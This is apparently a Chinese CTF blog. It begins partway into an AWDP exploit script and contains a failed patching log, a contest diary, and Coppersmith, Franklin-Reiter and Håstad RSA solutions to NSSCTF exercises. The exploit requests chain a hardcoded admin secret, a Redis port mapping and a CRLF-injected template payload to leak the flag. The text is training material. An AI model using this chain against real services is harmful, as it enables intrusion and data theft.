Connection: close
58

59
{{"username": "metamiku", "password": "123456"}}
60
"""
61
resp_2 = send_http_request(req_2)
62
print(resp_2.content)
63
cookie = resp_2.headers.get('Set-Cookie', '')
64

65

66
req_3 = f"""\
67
POST http://{RHOST}:{RPORT}/admin/model_ports HTTP/1.1
68
Host: {RHOST}
69
Content-Type: application/json
70
X-User-Role: admin
71
X-Secret: 210317a2ee916063014c57d879b9d3bc
72
Cookie: {cookie}
73
Connection: close
74

75
{{"model_id": "redis", "port": 6379}}
76
"""
77
resp_3 = send_http_request(req_3)
78
print(resp_3.content)
79

80

81
req_4 = f"""\
82
POST http://{RHOST}:{RPORT}/admin/raw_ask HTTP/1.1
83
Host: {RHOST}
84
Content-Type: application/json
85
X-User-Role: admin
86
X-Secret: 210317a2ee916063014c57d879b9d3bc
87
Cookie: {cookie}
88
Connection: close
89

90
{{"model_id": "redis", "prompt": "  set prompt:math-v1 {{t.get_template.__globals__}} \\r\\n"}}
91
"""
92
resp_4 = send_http_request(req_4)
93
print(resp_4.content)
94

95

96
req_5 = f"""\
97
POST http://{RHOST}:{RPORT}/ask HTTP/1.1
98
Host: {RHOST}
99
Content-Type: application/json
100
Cookie: {cookie}
101
Connection: close
102

103
{{"question": "1"}}
104
"""
105
resp_5 = send_http_request(req_5)
106
print(resp_5.content)

展开收起

最后从 prompt 中拿到一大串东西，找到 FLAG 即可

fix#

修不出来，十次全爆了，当时排行榜上也无解，官方也不给 check 脚本(强烈建议所有 AWDP 比赛放出 check 脚本，不然打完根本学不到什么东西)，加上题目描述说用 sed，乱上加乱(听说不用 sed，直接替换也行，但是没试出来)，网上没找到哪位师傅线下做出来了的。

下面介绍一下我 check 错的主要方案：

定位错了路径：exp 利用成功
直接删除 app.py：异常
直接ban掉整个api，exp利用成功（rnm）

第五次 check：#

update.sh

1
#!/bin/bash
2
sed -i '/port = data.get("port")/a \
3
    if port == 6379:\
4
        return jsonify({"error": "Access denied"}), 403' /app/app/app.py
5
sed -i '/port = data.get("port")/a \
6
    if port == 6379:\
7
        return jsonify({"error": "Access denied"}), 403' /app/app.py

结果: exp利用成功

第九次 check：#

app.py 中 manage_model_ports 后直接 return jsonify({"error": "Access denied"}), 403

update.sh

1
#!/bin/bash
2

3
mv ./app.py /app/

结果: exp利用成功

总结：人崩溃了，似都不知道怎么似的

20250409

日记#

看别的师傅经常在线下赛的博客上记录一下，我也想试试

20250315

早上六点出发。坐上飞机，从起飞睡到降落，下机的时候着急忙慌，耳机挂在了前座，走到廊道发现不对劲，又折返回飞机上找耳机（悲）。

下午步行去天津理工大学试验环境，同时试了以下前些天搭建的 TailChat 聊天室，很好用(除了大文件上传)，同时听到旁边队伍的几位师傅似乎也有在讨论聊天室的搭建。

赛中的 fix 是真的抽象，队友pwn✌修的明明和赛后其他师傅的方案一样，但是当时就是 check 不过，我自己的RNG也不过，难受。

有想法打几个 AWDP 的比赛练练手，主要是完全不知道该如何去修这东西，也不知道 check 的机制。也许可以尝试出一次题来看看出题者的视角？

赛中去卫生间竟然只是简单登记，真的不会有人浑水摸鱼吗？

天津理工的花很好看，非常好看。

Coppersmith学习

Tue, 25 Feb 2025 00:00:00 GMT

Coppersmith Method 学习#

学习资料#

Coppersmith method - Wikipedia
Coppersmith, D. (1996). “Finding a Small Root of a Univariate Modular Equation”. Advances in Cryptology — EUROCRYPT ‘96. Lecture Notes in Computer Science. Vol. 1070. pp. 155–165. doi:10.1007/3-540-68339-9_14. ISBN 978-3-540-61186-8.
Chapter 19: Coppersmith’s Method and Related Applications. Mathematics of Public Key Cryptography by Steven Galbraith ch19.pdf
有很多例题 coppersmith铜匠入门 | saga131密之作坊

NSSCTF工坊[RSA4] P2 最基础的用法#

题目#

1
from Crypto.Util.number import *
2
flag = b'NSSCTF{******}'
3

4
m = bytes_to_long(flag)
5

6
a = getPrime(512)
7
b = getPrime(512)
8
c = getPrime(512)
9
d = getPrime(512)
10
x = getPrime(128)
11

12
p = getPrime(1024)
13

14
y = a*x**3 + b*x**2 + c*x + d
15
y = y%p
16

17
print(f'p = {p}')
18
print(f'a = {a}')
19
print(f'b = {b}')
20
print(f'c = {c}')
21
print(f'd = {d}')
22
print(f'y = {y}')
23
print(f'h = {x*m}')
24

25
'''
26
p = 133497915779382863191750985139274661777547262395290628161924420897772911005538338729076080701700641387222690295548776566406640902391412661622674862629221960258683570655393881212072865809598640669325347893228617784548982886334708010706482958773921901369314425694414231562752232070402056445403762485870067804611
27
a = 9956367951694116871507184264812038680047685394446603010101493156120195118634053526664122377707243776744926630820373051608195739431033785355316509320690639
28
b = 10372715760267086803036635068149481902075294943354407472550232447612611381527989796797133302495652064200149218004252582942179771677307157495328484190016267
29
c = 6954444546090251351899752282258945069765577103755637726562318645879810909547057855773433206441550954298878711294660493586907360045986061150306446126101573
30
d = 12708905621484064085174866220764918657140490021181156214236692898034114314742314389460399916798129560082685314351680895409634875081403212130502800572290391
31
y = 89881957270704175663646084308402351944545222001266778194637035700540903495792268004845278611707036762628657152963392762363015748904045511650663013086598899685992255568758440781657480520250399778976982455784259655683731183717562593121780657623767804362641533930566522430
32
h = 584447473604416360596641349947186936435346265446590336271443321812736224750414727189483734666053582372219773206703655293254283559436185831581631
33
'''

展开收起

分析#

最基础的用法，求模多项式的小根

1
from Crypto.Util.number import long_to_bytes
2

3
p = 133497915779382863191750985139274661777547262395290628161924420897772911005538338729076080701700641387222690295548776566406640902391412661622674862629221960258683570655393881212072865809598640669325347893228617784548982886334708010706482958773921901369314425694414231562752232070402056445403762485870067804611
4
a = 9956367951694116871507184264812038680047685394446603010101493156120195118634053526664122377707243776744926630820373051608195739431033785355316509320690639
5
b = 10372715760267086803036635068149481902075294943354407472550232447612611381527989796797133302495652064200149218004252582942179771677307157495328484190016267
6
c = 6954444546090251351899752282258945069765577103755637726562318645879810909547057855773433206441550954298878711294660493586907360045986061150306446126101573
7
d = 12708905621484064085174866220764918657140490021181156214236692898034114314742314389460399916798129560082685314351680895409634875081403212130502800572290391
8
y = 89881957270704175663646084308402351944545222001266778194637035700540903495792268004845278611707036762628657152963392762363015748904045511650663013086598899685992255568758440781657480520250399778976982455784259655683731183717562593121780657623767804362641533930566522430
9
h = 584447473604416360596641349947186936435346265446590336271443321812736224750414727189483734666053582372219773206703655293254283559436185831581631
10

11
PR.<x> = PolynomialRing(Zmod(p))
12
f = a*x**3 + b*x**2 + c*x + d - y
13
roots = f.monic().small_roots()
14
print("[+] roots =", roots)
15

16
for x in roots:
17
    x = int(x)
18
    print("\n[+] x =", x)
19
    if h % x != 0:
20
        continue
21
    m = h // x
22
    print("[*] m =", m)
23
    print("[*] flag =", long_to_bytes(m))
24

25
"""
26
[+] roots = [208220680240996722513583102044151290091]
27

28
[+] x = 208220680240996722513583102044151290091
29
[*] m = 2806865643354785605407484846826426640471843693771605689945043127438975845650147246282645691174715937666941
30
[*] flag = b'NSSCTF{fdf4236b-50a9-4d4b-96fb-fe9ba9d7dff7}'
31
"""

展开收起

NSSCTF工坊[RSA4] P3 代换降次#

题目#

1
from Crypto.Util.number import *
2
flag = b'NSSCTF{******}'
3

4
p = getPrime(512)
5
q = getPrime(512)
6
n = p*q
7
e = 3
8

9
m1 = bytes_to_long(flag)
10

11
a = getPrime(128)
12
b = getPrime(128)
13
m2 = a*m1 + b
14

15
c1 = pow(m1, e, n)
16
c2 = pow(m2, e, n)
17

18
print(f'n = {n}')
19
print(f'a = {a}')
20
print(f'b = {b}')
21
print(f'c1 = {c1}')
22
print(f'c2 = {c2}')
23

24
'''
25
n = 100458074154921630841467009716211081004496986067171453439200150708921645946139163766441611050743248698408002732330100522747315912617782265320913313460939731072047224701193946357341685422329349168512101723657005099845122860786073559690394636750367940135874243034107367507957642817011696553619030089913082650051
26
a = 235598638113466821523819951671842238817
27
b = 183046284622289531351267591814278208143
28
c1 = 59213026759461784288811267183372841532509333531605324857784387344377914885661521950844577998650904368265218037805476510488318417561718106578315758637105422183211905379616339980270327392640886739452625323181466064322246845738001714864060399808732460864513032069624364554351131806580712989439398464697132652674
29
c2 = 3451970836023636992808694960720139231990590529637727188690993996140273782744393239397467373679391223914185297028545706156586953463105320180151843119949047044046733716896796505869700601788410522957973779842899158545218190431782013633486273807312128458720848868027747769057989052968304813931468091592761421857
30
'''

展开收起

分析#

m2=am1+bc1≡m13(modn)c2≡m23≡(am1+b)3≡a3m13+3a2m12b+3am1b2+b3(modn)m_2= am_1+b\\ c_1 \equiv m_1^3 \pmod{n}\\ c_2 \equiv m_2^3\equiv(am_1+b)^3 \equiv a^3m_1^3+3a^2m_1^2b+ 3am_1b^2+ b^3\pmod{n}m2=am1+bc1≡m13(modn)c2≡m23≡(am1+b)3≡a3m13+3a2m12b+3am1b2+b3(modn)

注意到 Integer(bytes_to_long(f"NSSCTF{{{uuid4()}}}".encode())).nbits() 长度 351bit

因此直接 copper c2≡a3m13+3a2m12b+3am1b2+b3c_2 \equiv a^3m_1^3+3a^2m_1^2b+ 3am_1b^2+ b^3c2≡a3m13+3a2m12b+3am1b2+b3 这个度 333 的多项式是 copper 不出来的，考虑使用 c1c_1c1 代换 m13m_1^3m13 以降次

c2≡a3c1+3a2m12b+3am1b2+b3(modn)c_2 \equiv a^3c_1+3a^2m_1^2b+ 3am_1b^2+ b^3\pmod{n}c2≡a3c1+3a2m12b+3am1b2+b3(modn)

1
from Crypto.Util.number import long_to_bytes
2

3
n = 100458074154921630841467009716211081004496986067171453439200150708921645946139163766441611050743248698408002732330100522747315912617782265320913313460939731072047224701193946357341685422329349168512101723657005099845122860786073559690394636750367940135874243034107367507957642817011696553619030089913082650051
4
a = 235598638113466821523819951671842238817
5
b = 183046284622289531351267591814278208143
6
c1 = 59213026759461784288811267183372841532509333531605324857784387344377914885661521950844577998650904368265218037805476510488318417561718106578315758637105422183211905379616339980270327392640886739452625323181466064322246845738001714864060399808732460864513032069624364554351131806580712989439398464697132652674
7
c2 = 3451970836023636992808694960720139231990590529637727188690993996140273782744393239397467373679391223914185297028545706156586953463105320180151843119949047044046733716896796505869700601788410522957973779842899158545218190431782013633486273807312128458720848868027747769057989052968304813931468091592761421857
8

9
PR.<x> = PolynomialRing(Zmod(n))
10

11
f = a^3*c1 + 3*a^2*x^2*b + 3*a*x*b^2 + b^3 - c2
12
roots = f.monic().small_roots()
13
print("[+] roots =", roots)
14

15
for m1 in roots:
16
    m1 = int(m1)
17
    print("\n[+] m1 =", m1)
18
    print("[*] flag =", long_to_bytes(m1))
19

20
"""
21
[+] roots = [2806865643354785581943930084864034922303658457463090366746051046593966390253248941889426497639009694016125]
22

23
[+] m1 = 2806865643354785581943930084864034922303658457463090366746051046593966390253248941889426497639009694016125
24
[*] flag = b'NSSCTF{76f8044e-7bf9-43cd-885f-22f611628b8b}'
25
"""

展开收起

NSSCTF工坊[RSA4] P4 Franklin-Reiter 相关消息攻击#

题目#

1
from Crypto.Util.number import *
2
flag = b'NSSCTF{******}'
3

4
p = getPrime(700)
5
q = getPrime(700)
6
n = p*q
7
e = 5
8

9
m1 = bytes_to_long(flag)
10

11
a = getPrime(128)
12
b = getPrime(128)
13
m2 = a*m1 + b
14

15
c1 = pow(m1, e, n)
16
c2 = pow(m2, e, n)
17

18
print(f'n = {n}')
19
print(f'a = {a}')
20
print(f'b = {b}')
21
print(f'c1 = {c1}')
22
print(f'c2 = {c2}')
23

24
'''
25
n = 13919443827889434443507983317773657992305936401066686387374260636490833628767777134968864107882874635776776741295578533278845576747348959144023000046017344598661215911149680972293657114227644912150926936884507570232880546597335636361816325245444237275023999522533527764240730547185826755972838574195391038131656239536920948158465916528880835693552792260356361022462682037427718404037021825844211741628768123221090717527493
26
a = 285426137705625850725555147387995674019
27
b = 277985464990476154618471183198080357743
28
c1 = 9426395562512809581013620472326672750327318596813074726353079091173842802365552984264585030513998874440683981314827988473250779276622812642078592270162488257445750556180090334901558598065090257832879692296066144186335139137620672058976438826755846843815726564085636220609216862492337842110335421544935056753632826033207088809042045528566533513130910178132026694855125856386336197708244017301467175024440126022121500756597
29
c2 = 7817626870900560837063304883188246502988767588941344995287074193857215881437472677956793645281329763767094907997432409446021978284194802133451654430505222891535367029301384789198710394554265321474931034378249847884399129098152817955822667403789421376159327548545340231962148603594715994813791837670639630747654837874296940404313828931665262517234613625655607389345122624044747819855804429899373080756267420097146009333048
30
'''

展开收起

分析#

正常解 coppersmith 肯定是没法子了，得找找别的方法

介绍：Franklin-Reiter 相关消息攻击！

c1≡m1ec2≡m2em2=am1+bc_1 \equiv m_1 ^ e\\ c_2 \equiv m_2 ^ e\\ m_2 = am_1 + bc1≡m1ec2≡m2em2=am1+b

易知 0≡m1e−c10 \equiv m_1^e - c_10≡m1e−c1 且 0≡m2e−c2≡(am1+b)e−c20 \equiv m_2^e - c_2 \equiv (am_1+b)^e - c_20≡m2e−c2≡(am1+b)e−c2

所以 f(x)≡xe−c1f(x) \equiv x^e-c_1f(x)≡xe−c1 和 g(x)≡(ax+b)e−c2g(x) \equiv (ax+b)^e - c_2g(x)≡(ax+b)e−c2 有公共根 x≡m1x \equiv m_1x≡m1 即有公因式 (x−m1)(x - m_1)(x−m1)

x−m1=gcd⁡(f,g)x - m_1 = \gcd(f, g)x−m1=gcd(f,g)

Z\mathbb{Z}Z 下的 gcd 函数是这样的

1
def gcd(a, b):
2
  while b != 0:
3
    a, b = b, a % b
4
  return a

改成 Z/nZ[x]\mathbb{Z}/n\mathbb{Z}[x]Z/nZ[x] 下的一样能用

1
def gcd(f, g):
2
    while g != 0:
3
        f, g = g, f % g
4
    return f

最后算出来的gcd 要记得 monic

1
from Crypto.Util.number import long_to_bytes
2

3
n = 13919443827889434443507983317773657992305936401066686387374260636490833628767777134968864107882874635776776741295578533278845576747348959144023000046017344598661215911149680972293657114227644912150926936884507570232880546597335636361816325245444237275023999522533527764240730547185826755972838574195391038131656239536920948158465916528880835693552792260356361022462682037427718404037021825844211741628768123221090717527493
4
a = 285426137705625850725555147387995674019
5
b = 277985464990476154618471183198080357743
6
c1 = 9426395562512809581013620472326672750327318596813074726353079091173842802365552984264585030513998874440683981314827988473250779276622812642078592270162488257445750556180090334901558598065090257832879692296066144186335139137620672058976438826755846843815726564085636220609216862492337842110335421544935056753632826033207088809042045528566533513130910178132026694855125856386336197708244017301467175024440126022121500756597
7
c2 = 7817626870900560837063304883188246502988767588941344995287074193857215881437472677956793645281329763767094907997432409446021978284194802133451654430505222891535367029301384789198710394554265321474931034378249847884399129098152817955822667403789421376159327548545340231962148603594715994813791837670639630747654837874296940404313828931665262517234613625655607389345122624044747819855804429899373080756267420097146009333048
8
e = 5
9

10
PR.<x> = PolynomialRing(Zmod(n))
11

12
f = x^e - c1
13
g = (a*x + b)^e - c2
14

15
def gcd(f, g):
16
    while g != 0:
17
        f, g = g, f % g
18
    return f
19

20
m = -gcd(f, g).monic()[0]
21
print(long_to_bytes(int(m)))
22

23
# b'NSSCTF{ca5e5ba4-57f1-4902-9448-d78b2cb05618}'

展开收起

NSSCTF工坊[RSA4] P7 Franklin-Reiter 相关消息攻击#

题目#

1
from Crypto.Util.number import *
2
m = bytes_to_long(b'NSSCTF{******}')
3

4
p = getPrime(512)
5
q = getPrime(512)
6

7
n = p*q
8

9
e = 9
10

11
r = getPrime(512)
12

13
c1 = pow(m, e, n)
14
c2 = pow(m+r, e, n)
15

16

17
print(f'c1 = {c1}')
18
print(f'c2 = {c2}')
19
print(f'r = {r}')
20
print(f'n = {n}')
21

22

23
'''
24
c1 = 135074766579407676786282087896424573055829820741326911395660008092908906818293714163243721440579480398437184153110701014575949020137195005556115765711856362529093323957313305701439430406396620730435232669024347062255561124227077117736226705746520202121773331267896121082546807985584499775544186860738299210902
25
c2 = 52198561898892210533988782934627447441579509170862004216826284305082884787397969852570583444422705227177306845788090962326207704949679636373972262848806083888114511515323970306654941921527306928423850775839578728701294521014874290792581635297504014585143468088934951952990888189000603302912352199468290961647
26
r = 7226418134082605571805056000800553195029496658257912353583130240746954757224748488491991266548553899116384605868480860827154816241193159482670000874841821
27
n = 144690523587663809780722437199578577582544144694543134253077982812595463236242062416509866333774784681011350541203308061301675822157859373788530465702809816586981803008466959154241234879285863437666243631170277595720205934928759253610014553402523757331771549475265418644503305010214366648156173843801360148229
28
'''

展开收起

分析#

同 NSSCTF工坊[RSA4] P4 Franklin-Reiter 相关消息攻击

1
from Crypto.Util.number import long_to_bytes
2

3
c1 = 135074766579407676786282087896424573055829820741326911395660008092908906818293714163243721440579480398437184153110701014575949020137195005556115765711856362529093323957313305701439430406396620730435232669024347062255561124227077117736226705746520202121773331267896121082546807985584499775544186860738299210902
4
c2 = 52198561898892210533988782934627447441579509170862004216826284305082884787397969852570583444422705227177306845788090962326207704949679636373972262848806083888114511515323970306654941921527306928423850775839578728701294521014874290792581635297504014585143468088934951952990888189000603302912352199468290961647
5
r = 7226418134082605571805056000800553195029496658257912353583130240746954757224748488491991266548553899116384605868480860827154816241193159482670000874841821
6
n = 144690523587663809780722437199578577582544144694543134253077982812595463236242062416509866333774784681011350541203308061301675822157859373788530465702809816586981803008466959154241234879285863437666243631170277595720205934928759253610014553402523757331771549475265418644503305010214366648156173843801360148229
7
e = 9
8

9
PR.<x> = PolynomialRing(Zmod(n))
10

11
f = x^e - c1
12
g = (x + r)^e - c2
13

14
def gcd(f, g):
15
    while g != 0:
16
        f, g = g, f % g
17
    return f
18

19
m = -gcd(f, g).monic()[0]
20
print(long_to_bytes(int(m)))

展开收起

NSSCTF工坊[RSA4] P5 Håstad 广播攻击#

题目#

1
import random
2
from Crypto.Util.number import *
3
m = bytes_to_long(b'NSSCTF{******}')
4
e = 3
5
cnt = 5
6
A = [random.randint(1, 128) for i in range(cnt)]
7
B = [random.randint(1, 1024) for i in range(cnt)]
8
Cs = []
9
Ns = []
10
ds = []
11
for i in range(cnt):
12
    p = getPrime(1024)
13
    q = getPrime(1024)
14
    N = p * q
15
    Ns.append(N)
16
    c = pow(A[i] * m + B[i], e, N)
17
    Cs.append(c)
18

19
print(f'Cs = {Cs}')
20
print(f'Ns = {Ns}')
21
print(f'A = {A}')
22
print(f'B = {B}')
23

24
'''
25
Cs = [3883550483902420926234302242195949363902226654053022494278088796963093148922544154652393440710324453957805003804862341179812753736616349557399185135880313324078548975985811806182903172952051652658588498612963004980264760087430598878125976827727487812798234711111712162020259061748840871764150680864715622600474900724019717, 44236067230701013362887598977513235723198800481322709348886355202907732899445854511587419035591039483362973933824325371001141984765195796979842132811747908218486539899605454036424269293612496645594202012384509417494958938609654993954815298870367636552785788956298375017694826184378792550191638399421497826339423606821604157, 6357650953899476167368901224389387403906446759598372329485772462484633677698135444868033121301336092469156582681179266678600618088894651608959308419170191169045155695737438290373562868522834196889856654007109891894017495798358315308038562408520108440771857096111507359080036538511243240503551392124933753089110476128205879, 22113876206623661433094377745740418662890776774627724662206682745097788065566600734855556673140969239465263787646309908630165398806037735405429975451284487302914604239730662891329034924321076102542709261476260968369261179396546360622009680551846353241542278987410340410787241742872482813920394082039159494900989803139848, 3482139402999788223900773097355269284333433274039980036209713091774078099956379218113295375979469580323031564990774054948555715060182912479470463142901382767332589017162687376944227096536463901792518843690268101660074429034365722795293704792196728134808253362549344588424246863639211005569740713503298812433885633339928000]
26
Ns = [16475947720089128737086499038994656469812989231809435921247088488421456071533054401942524421620331649062071397844226728071767213827034006847771426419523100773295773164564476217357610574522713490589578290280800714302496527429690267342283298617108512673396866659851168908725556917773195601048972304412711680140760801040935590195586074637385222382292803661244860123231496798860777536415139625565081790463543592610972293444445484103576151223863074744798386995109810985102707212603792744509634887671301358727199987659311189567616661188675145831286196163294361139604739930788248190209148634033965292667427275010588011907449, 20577756967813119473983751142406348831049793754920537415005815223703461130310397180758312537008616509869607815711902558904863798387297921980544196445945053155779852988514975874071063143079007922739179751830691324912287324521191080786349595537328978318940405478035852622078260078106150355838894304903666410802941404171580632337325226810035755441751019274785623857299274197733366157959314887828355684391955406242669453470960096408521602483306976326328443227588146790803825249363494429478920856868334932355802422905860734038456902208606699044555491079703407805059303577939602439962034474867810455961978123428573930309579, 25378900199358568547963276996842869295995268651191814514603221510827400166103120330924988917554751086130358554721062101701515825946297524373525439060420148179742729309006073061967296139229954269726231365437710075337125457376990188019604789882474361937774315087501386157518068677103700336670450539759041322742305750381808526633011613014316600728378154635620303486714630541107978228937765593165029293600696974317531575469630789089360595175501977260250968161370460576429760743419177492425307438895058834861598683601140950473599184767494278677563047031229859204765208419798131798581975676005652781036214330956450007099403, 9926930930542540303568927026135349869339912234415090245441062010278559018661286180235901235221302260175325531516014675014545716516533078219977130807590578846757066721033900594646767488495122383467444918251577083210413483316448060657426105745966157951221212755678202988755054192555411944547922101946719460879213184073264876177559979901796761414990531875287201475974601204234252323254624416703924391519239658714195344209537776288504410483034555245167972866281710032749023882686703242857598745646748066876170805806058616787854614797120972981188197354785585317082619741063413472652781873599900240100437586392949061248911, 20830107058752240343833750223075661528901765032886427653372256688107333986271844745610709207164953960695218903201021174901973495649232416991828815735226979007977454196096030222267886398005100472650709789400722193947140354500257454594031250139843254349174343293378469322212240525155348525032929797789787100019790044104691478313003888625343348575779856701393153928092199647854293030744711864943595605801812851745568294572509414459253058726953902809163955547592002726224051451969415362170516701646937298176613945563863745599843208814303891064544739910893746169725919856235296428308161065429422882694228900677440053029677]
27
A = [56, 126, 66, 10, 54]
28
B = [261, 191, 877, 352, 62]
29
'''

展开收起

分析#

Håstad 广播攻击，参考代码：4.8. 低加密指数广播攻击 - 4.8.4 扩展 | 独奏の小屋

类似中国剩余定理 CRT

1
from Crypto.Util.number import long_to_bytes
2

3
Cs = [3883550483902420926234302242195949363902226654053022494278088796963093148922544154652393440710324453957805003804862341179812753736616349557399185135880313324078548975985811806182903172952051652658588498612963004980264760087430598878125976827727487812798234711111712162020259061748840871764150680864715622600474900724019717, 44236067230701013362887598977513235723198800481322709348886355202907732899445854511587419035591039483362973933824325371001141984765195796979842132811747908218486539899605454036424269293612496645594202012384509417494958938609654993954815298870367636552785788956298375017694826184378792550191638399421497826339423606821604157, 6357650953899476167368901224389387403906446759598372329485772462484633677698135444868033121301336092469156582681179266678600618088894651608959308419170191169045155695737438290373562868522834196889856654007109891894017495798358315308038562408520108440771857096111507359080036538511243240503551392124933753089110476128205879, 22113876206623661433094377745740418662890776774627724662206682745097788065566600734855556673140969239465263787646309908630165398806037735405429975451284487302914604239730662891329034924321076102542709261476260968369261179396546360622009680551846353241542278987410340410787241742872482813920394082039159494900989803139848, 3482139402999788223900773097355269284333433274039980036209713091774078099956379218113295375979469580323031564990774054948555715060182912479470463142901382767332589017162687376944227096536463901792518843690268101660074429034365722795293704792196728134808253362549344588424246863639211005569740713503298812433885633339928000]
4
Ns = [16475947720089128737086499038994656469812989231809435921247088488421456071533054401942524421620331649062071397844226728071767213827034006847771426419523100773295773164564476217357610574522713490589578290280800714302496527429690267342283298617108512673396866659851168908725556917773195601048972304412711680140760801040935590195586074637385222382292803661244860123231496798860777536415139625565081790463543592610972293444445484103576151223863074744798386995109810985102707212603792744509634887671301358727199987659311189567616661188675145831286196163294361139604739930788248190209148634033965292667427275010588011907449, 20577756967813119473983751142406348831049793754920537415005815223703461130310397180758312537008616509869607815711902558904863798387297921980544196445945053155779852988514975874071063143079007922739179751830691324912287324521191080786349595537328978318940405478035852622078260078106150355838894304903666410802941404171580632337325226810035755441751019274785623857299274197733366157959314887828355684391955406242669453470960096408521602483306976326328443227588146790803825249363494429478920856868334932355802422905860734038456902208606699044555491079703407805059303577939602439962034474867810455961978123428573930309579, 25378900199358568547963276996842869295995268651191814514603221510827400166103120330924988917554751086130358554721062101701515825946297524373525439060420148179742729309006073061967296139229954269726231365437710075337125457376990188019604789882474361937774315087501386157518068677103700336670450539759041322742305750381808526633011613014316600728378154635620303486714630541107978228937765593165029293600696974317531575469630789089360595175501977260250968161370460576429760743419177492425307438895058834861598683601140950473599184767494278677563047031229859204765208419798131798581975676005652781036214330956450007099403, 9926930930542540303568927026135349869339912234415090245441062010278559018661286180235901235221302260175325531516014675014545716516533078219977130807590578846757066721033900594646767488495122383467444918251577083210413483316448060657426105745966157951221212755678202988755054192555411944547922101946719460879213184073264876177559979901796761414990531875287201475974601204234252323254624416703924391519239658714195344209537776288504410483034555245167972866281710032749023882686703242857598745646748066876170805806058616787854614797120972981188197354785585317082619741063413472652781873599900240100437586392949061248911, 20830107058752240343833750223075661528901765032886427653372256688107333986271844745610709207164953960695218903201021174901973495649232416991828815735226979007977454196096030222267886398005100472650709789400722193947140354500257454594031250139843254349174343293378469322212240525155348525032929797789787100019790044104691478313003888625343348575779856701393153928092199647854293030744711864943595605801812851745568294572509414459253058726953902809163955547592002726224051451969415362170516701646937298176613945563863745599843208814303891064544739910893746169725919856235296428308161065429422882694228900677440053029677]
5
A = [56, 126, 66, 10, 54]
6
B = [261, 191, 877, 352, 62]
7
e = 3
8
cnt = 5
9

10
Fs = []
11

12
for i in range(cnt):
13
    PR.<x> = PolynomialRing(Zmod(Ns[i]))
14
    f = (A[i] * x + B[i])^e - Cs[i]
15
    f = f.monic()
16
    f = f.change_ring(ZZ)
17
    Fs.append(f)
18

19
F = crt(Fs,Ns)
20
M = reduce(lambda x,y: x*y, Ns)
21
FF = F.change_ring(Zmod(M))
22
m = FF.small_roots()[0]
23
print(long_to_bytes(int(m)))
24

25
# b'NSSCTF{35036d92-a21e-4a72-b95b-9dbbe753ecc3}'

展开收起

NSSCTF工坊[RSA4] P6 SMUPE 问题#

题目#

1
import random
2
from Crypto.Util.number import *
3
m = bytes_to_long(b'NSSCTF{******}')
4
e = [3, 3, 5, 5, 5]
5
cnt = 5
6
A = [random.randint(1, 128) for i in range(cnt)]
7
B = [random.randint(1, 1024) for i in range(cnt)]
8
Cs = []
9
Ns = []
10
ds = []
11
for i in range(cnt):
12
    p = getPrime(1024)
13
    q = getPrime(1024)
14
    N = p * q
15
    Ns.append(N)
16
    c = pow(A[i] * m + B[i], e[i], N)
17
    Cs.append(c)
18

19
print(f'Cs = {Cs}')
20
print(f'Ns = {Ns}')
21
print(f'A = {A}')
22
print(f'B = {B}')
23

24
'''
25
Cs = [1638372860396333830858192139299197565315535797114047251934794618479536350353064186140459367290707128364710894701037380862116232991456320452033817724729745999551370161110364719775843718524874686887258953369568831680913879476181277785920985528366522169515587323204831502022101524013959969707030218702665635534427846097310528, 24875103245287518333798583341170669610612985353699595724009027288108265538326708679930645795919635882205442133007431151523157879281206220723880745758565471501438254496442690083695181899335274484890789079296262809116356375268279845048678237286447923982167817217922153443176926762232059077533241044053964988769850924306985288, 64688172933628370164101081823612690628987450046625542396917972565171355353907472697857255273381548322579305723285123851525656566580337341114653428214836087595329638898225145943365511037774869374134885003316128253926961420282704740956759510282270641913416144450959604091354160410240665076557553695082195679797827535998182932257141208537699109343258070255441327703937342812407754987740672481360192201134257594522722416452532574980648175817255926752015634178759148371873886725487426882416560377719144628014480729074137290874113394638649, 2331510898077623659120984694249257439156322301842388986730933314009350853947089766519871253176646702446795943582256729119033154456495699173945031006143311061427619102940335615125087858864022720270624007893746341836293909702537610528426633085355155950799091717823412938027363876570661223166297511428235178239172777386054157082903814899961457013918859628205065752880604381763832163537338551244398891801443773401629786720308176486501031559320335954176695196225203579812567823068688019940197116285653102121974647104338589625423162979123200000, 43352520643859740433225512983905414415548381386134203892101097918185149451843972944152506360707251233402378401486868477947209998018140026240239412053179633750634829740693522063308924633469091372871162080586416600131760956876088974352867618081110555761392159757815560347289247112408714776983781605234434193615594699312985986139327998952524143416350988540093792251368427565860264534170095799987780694458909019564914374157162696794037736526763479508220179034487041180476942175322953798097172419873588374189541978291235559914015746424832]
26
Ns = [18851715582267592911067637781505654688524006829609246212518637897179276424340538881817812202528554956234031661903911094094631063183133761100477455043312123459298106634164727720627011192110779310094771478538283788677548037922530846281891688189750395295091964623923749350256625089576542690752106832774515171043826627323369467260229924116376613509392517052062075900227272040203183759436637270279153088519018200373369193287900910393638164679806105636141482865492140475543667203300150180799017010647191076802371803957049729665372388660643393619274625881752621206735741181918995753694012667166942840946695127545765890742063, 10267889563711456032579409966472790716819993551437295130252040883990243681903448974535591113545723576913765740482844093394217174748720819947126768257873382519317182097620449979975383634794725676148262423293825784384533131631434500141020335993500562261013949796155168237990517113432978329233691874362416933639983930536969236091719851430961549012395926775041931819868164629850848771931505977967078205269399517880792473005512550209988476927697762292764104113892623269364458825553466135026856101503576301198196565099526473547248865742864274841493027912793979121030411574680325683879250124843231524231297963898683611241527, 13319929603701741793046504861847275881318265379528541599237187836042138080675688093798835275556697353969650992398737328710351200421781106774355347739070892841366306344713730729129300977800957626288502163079067715579382767916393807593767445074588824226624616133919776732577297061788596743900830022053036147505073981250694269494874718657327986653908553022998256475699594299485467200757418076210359679356806790879777840686012933726208975488043576064467651494231751296178499718963576152784658938960177680763100892103245100085259616393419229979173756419121148473713407084223326468838444608241533523272737548699784114288903, 15549454451010517732114866346347857621738418424726590607108866905866201671458396332585415677794254468988000522332928496951404966782246273839731570675805037547434885303486571417761150107287375265185136666085669367768385334732360327965658288195932251712038801089064036484182689420567148777802229959025706026709147490355638461816828297349827923064039389517458474972494803430895794622409100453812936135163906960476019328052200697229957383357240180993014685003281514802948810450239516985749998285384120569891328984748185007801287194757011610585773959113119657356194098917480068595559585415503075706079451596444873538025303, 10893748607240110955496798243605432030914497581057961213501578142738832043376333318606333861002076584473798177824249978795107994620002676260061434742704861691017695197358462123116073867166385116309506188722505093349759974669126863738760846667781081937653476878088812043691664173859578763022307064317030903235196823302973152319271598841684324885625237030423977448610068847582315745648803893547950848775977888604054275196982524051414526965045483738781651554877828535198984557716599475979572917851219474771059404496356672662467552795811246938928548202179363916774439119111218984949582826015360298300266708147597580287967]
27
A = [42, 104, 13, 106, 12]
28
